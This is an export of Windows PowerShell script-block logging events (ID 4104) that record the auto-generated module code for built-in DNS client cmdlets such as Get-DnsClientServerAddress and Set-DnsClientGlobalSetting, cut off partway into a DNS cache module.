Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1889 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:06 AM | dfeadd90-ee34-0000-0cee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'root/Microsoft/Windows/DNS/PS_DnsClientNrptPolicy'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-DnsClientNrptPolicy
{
[CmdletBinding(PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance[]])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientPolicyConfiguration')]
param(
[Parameter(ParameterSetName='Get0')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${Effective},
[Parameter(ParameterSetName='Get0', Position=1, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Namespace},
[Parameter(ParameterSetName='Get0')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Get0')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Get0')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Effective')) {
[object]$__cmdletization_value = ${Effective}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Effective'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Effective'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Namespace')) {
[object]$__cmdletization_value = ${Namespace}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Namespace'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Namespace'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance[]'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientPolicyConfiguration'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Get', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNrptPolicy_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClientNrptPolicy' -Alias '*'
ScriptBlock ID: 0926820a-e134-47cb-bbe7-cbdc222a6944
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1888 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:06 AM | dfeadd90-ee34-0000-09ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_DNSClientServerAddress'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-DnsClientServerAddress
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClientServerAddress')]
param(
[Parameter(ParameterSetName='ByName', ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='ByName')]
[Alias('Family')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.DnsClientServerAddress.AddressFamily[]]
${AddressFamily},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressFamily') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressFamily})
$__cmdletization_queryBuilder.FilterByProperty('AddressFamily', $__cmdletization_values, $false, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClientServerAddress.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClientServerAddress' -Alias '*'
function Set-DnsClientServerAddress
{
[CmdletBinding(DefaultParameterSetName='ByAlias', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClientServerAddress')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByAlias', Mandatory=$true, Position=0)]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_DNSClientServerAddress')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Addresses')]
[string[]]
${ServerAddresses},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${Validate},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('ResetAddresses')]
[switch]
${ResetServerAddresses},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByAlias')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByAlias') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByAlias', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ServerAddresses')) {
[object]$__cmdletization_value = ${ServerAddresses}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:ServerAddresses'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:ServerAddresses'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Validate')) {
[object]$__cmdletization_value = ${Validate}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:Validate'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:Validate'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ResetServerAddresses')) {
[object]$__cmdletization_value = ${ResetServerAddresses}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:ResetServerAddresses'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:ResetServerAddresses'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClientServerAddress.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-DnsClientServerAddress' -Alias '*'
ScriptBlock ID: 67b15454-fcb4-4ef1-8a4d-c5141d194d65
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1887 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:06 AM | dfeadd90-ee34-0004-e728-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_DNSClientGlobalSetting'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-DnsClientGlobalSetting
{
[CmdletBinding(PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClientGlobalSetting')]
param(
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[int]
${ThrottleLimit},
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClientGlobalSetting.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClientGlobalSetting' -Alias '*'
function Set-DnsClientGlobalSetting
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_DNSClientGlobalSetting')]
param(
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_DNSClientGlobalSetting')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[string[]]
${SuffixSearchList},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[bool]
${UseDevolution},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint32]
${DevolutionLevel},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SuffixSearchList')) {
[object]$__cmdletization_value = ${SuffixSearchList}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SuffixSearchList'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SuffixSearchList'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UseDevolution')) {
[object]$__cmdletization_value = ${UseDevolution}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UseDevolution'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UseDevolution'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DevolutionLevel')) {
[object]$__cmdletization_value = ${DevolutionLevel}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DevolutionLevel'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DevolutionLevel'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_DnsClientGlobalSetting.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-DnsClientGlobalSetting' -Alias '*'
ScriptBlock ID: be8e49c7-191f-4230-88bc-32d8ec8d7178
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1886 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:06 AM | dfeadd90-ee34-0004-e328-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_DNSClientCache'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
